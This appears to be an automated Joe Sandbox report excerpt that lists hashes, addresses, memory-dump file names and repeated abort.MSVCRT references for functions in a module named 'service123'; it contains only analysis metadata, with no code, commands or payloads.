Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction ID: 575c39f9f290b7c7e18dc0d97aa23f06f831ffb2e2ead95c0ef864579f935d8b
Opcode Fuzzy Hash: 38065637cddd05bc63f8f55e83b5f6858d4a716cd9787bd456eb58d9b090392b
Instruction Fuzzy Hash: 6D014CB1A052059BD714AF2AC98476AFBE4EF85348F60C96ED858CBB01D335D885CB92

Function 6C914360 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2463a9b008f5ac8336a462dbb2164d4f768fb9a2e5b59190f93b66c8eaab714
Instruction ID: cf4d9650ee62144c4f92978f9fa6e77ef020871f29fcdcefa3e5a0dee1704539
Opcode Fuzzy Hash: f2463a9b008f5ac8336a462dbb2164d4f768fb9a2e5b59190f93b66c8eaab714
Instruction Fuzzy Hash: 13F0F972A08148CF9710EE7E8A4296AB7F4A74A318F99DE68D858C3F05E234D4148A77

Function 6C89A1E0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f905a9c67c899d1fc26f46802662278279e0fbd203a14c6d398e276b0700442c
Instruction ID: a13e3a7e68de5477e6d6a939c00af2e5f819fc60c079d745b583d7f13369defb
Opcode Fuzzy Hash: f905a9c67c899d1fc26f46802662278279e0fbd203a14c6d398e276b0700442c
Instruction Fuzzy Hash: 39D01271E04000DF8B00EE2DC640866B7B0AB86308B54DE58D45857605D332D4168B66

Function 6C86D974 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction ID: a7c747d48c8ccbee109662fa7c61a97562bcf6d5b145f6ccebecf4ddd739fe3a
Opcode Fuzzy Hash: 99528a8814be3e8ec686a86f925677d1370c2879c6c577cffe59eab6e90d6a45
Instruction Fuzzy Hash: 60C012B19041044BCF10EF38C1C0078F6F1AF42648F529C69C084DBB00E775D845CB85

Function 6C86D674 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction ID: 5f19e1ad90a2844234c2b8f038bc29366ad9ba4781d9d3fbbb86bf7e20da4299
Opcode Fuzzy Hash: 8d714ddeb1d54d60c99730855744db3a24bee261a28e7de1cd23f2af7a586b1f
Instruction Fuzzy Hash: 84C012B19041044BCF50EF38C1C0078F3F1AB52248F539C69C084DBB00E774D846C785

Function 6C86D7F4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction ID: a3b4eaea7b7700de8f4bc9b2627f6bc227ad0dc6b0bb7a1d5059d89e3ad17362
Opcode Fuzzy Hash: 6687b09114d2675d96a31c0c6d2971c8d0cefab2a3ab88b4dde04cb7df0e6767
Instruction Fuzzy Hash: 96C012B1D041184BCF10EF38C1C4578F3F0AB92244F525C69C084D7B00E734C845C745

Function 6C85B1D0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction ID: 6b2c42bbabdf76d9ceb4c9a3b145b01d2c1d05ede75949405179a0788588bbe1
Opcode Fuzzy Hash: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction Fuzzy Hash: 14C012B4C096408AC304BF38810A228BAB07B62A18F8468ACD48413B01E735C11C865B

Function 6C84BAD0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 339COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Strings

@, xrefs: 6C84BAB1

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID: @
API String ID: 4206212132-2766056989
Opcode ID: 1ab1f85623fba875abbe2928309d88a9bd8edd033797a5e38720b6926c3a7ead
Instruction ID: 7403e0592cff15af5ccd06f0eae8b56d4629d1e85753da25762331818b7c3b61
Opcode Fuzzy Hash: 1ab1f85623fba875abbe2928309d88a9bd8edd033797a5e38720b6926c3a7ead
Instruction Fuzzy Hash: ADB1573260DB1E8FD3208E2CC59176AB7E6AB85318F45C97ED99487F86D735E808C781

Function 6C842290 Relevance: 42.4, APIs: 28, Instructions: 354COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18b8ca96afc71cac3a9c0433e6aedd626b4556cd566d2b1f2a81c9ca23efae3a
Instruction ID: 345ecf069feca31c79e3c680a7d0d2f685be27759716c1005a2a5b44773cb31a
Opcode Fuzzy Hash: 18b8ca96afc71cac3a9c0433e6aedd626b4556cd566d2b1f2a81c9ca23efae3a
Instruction Fuzzy Hash: BDC19C716082098FD724CF2DC58435ABBF2BB85308F55CD69D898CBB55E73DE90A8B90

Function 6C84B7A0 Relevance: 42.2, APIs: 28, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39d1136a72e8c0e082bd341abf11cc418a2e8d6dfbacba62f7ecd2d6f466ad6e
Instruction ID: 001d404630ad4e818c1ee93a5292bf5ac0b1a8c66a3736d14aac17afdd6f2e70
Opcode Fuzzy Hash: 39d1136a72e8c0e082bd341abf11cc418a2e8d6dfbacba62f7ecd2d6f466ad6e
Instruction Fuzzy Hash: DB41CE71A09B9D9FE721CE29C18073ABBE0AF86328F18CD9DD9954BA42D335E845C741

Function 6C8428FA Relevance: 42.1, APIs: 28, Instructions: 84COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3845772fb3e678e8045f5796a143c1f3cbee78e7eb4b30ea223236463b88ad03
Instruction ID: 83769e229788bcc112f07b8cd78e95af7818d93791485c3bf90f2e67e5302874
Opcode Fuzzy Hash: 3845772fb3e678e8045f5796a143c1f3cbee78e7eb4b30ea223236463b88ad03
Instruction Fuzzy Hash: 141193B2606205CBE718FF2CE992B5577B1FB21309F019A58D584D7A15D778E818CBA0

Function 6C842A2F Relevance: 42.1, APIs: 28, Instructions: 82COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: f68461e151e64d7475fd5c457c66de9101b8c13bb55ac6f879110f9fee26c3c4
Instruction ID: 3170f562656332887d09c57466f7b9900a14aa261b92e7d3e3eb701c71563a40
Opcode Fuzzy Hash: f68461e151e64d7475fd5c457c66de9101b8c13bb55ac6f879110f9fee26c3c4
Instruction Fuzzy Hash: 9911A5B2606205CBE718EF2CD992B5577B1FB21309F019A58D584D7A15D778E818CBA0

Function 6C8429F0 Relevance: 42.1, APIs: 28, Instructions: 78COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D30
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D35
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D44
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D4C
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D51
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D56
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D5B
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D60
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D65
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6A
abort.MSVCRT(?,?,?,?,?,?,6C84E2F4,?,?,?,?,?,?,00000000,00000001,6C85008D), ref: 6C916D6F
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D74
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D79
abort.MSVCRT(?,?,00000000,00000000,?,774CE010,6C85038F), ref: 6C916D7E

Memory Dump Source

Source File: 00000009.00000002.3791452954.000000006C841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C840000, based on PE: true

Associated: 00000009.00000002.3791323719.000000006C840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791842718.000000006C91D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3791989926.000000006C91F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792250537.000000006C968000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792442846.000000006C969000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3792548808.000000006C96C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c840000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 8b6dcac38082bca50527408c0e8ace5d13f142c8cbd29f70baabb8f34e0680ab
Instruction ID: 1d7dde4e03a199c14c9ff2a6675b24d0a7c3ab9678f6f655bd8650807d2fad88
Opcode Fuzzy Hash: 8b6dcac38082bca50527408c0e8ace5d13f142c8cbd29f70baabb8f34e0680ab
Instruction Fuzzy Hash: 8901FBB2605205CFE714EF2CD996B55B7B1FB21309F019A58D184DBB15D778E428CF90

Function 6C8428BB Relevance: 42.1, APIs: 28, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C916CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D03
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D08
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D12
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D17
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D21
abort.MSVCRT(?,?,?,?,00000001,?,6C84C5DB), ref: 6C916D26
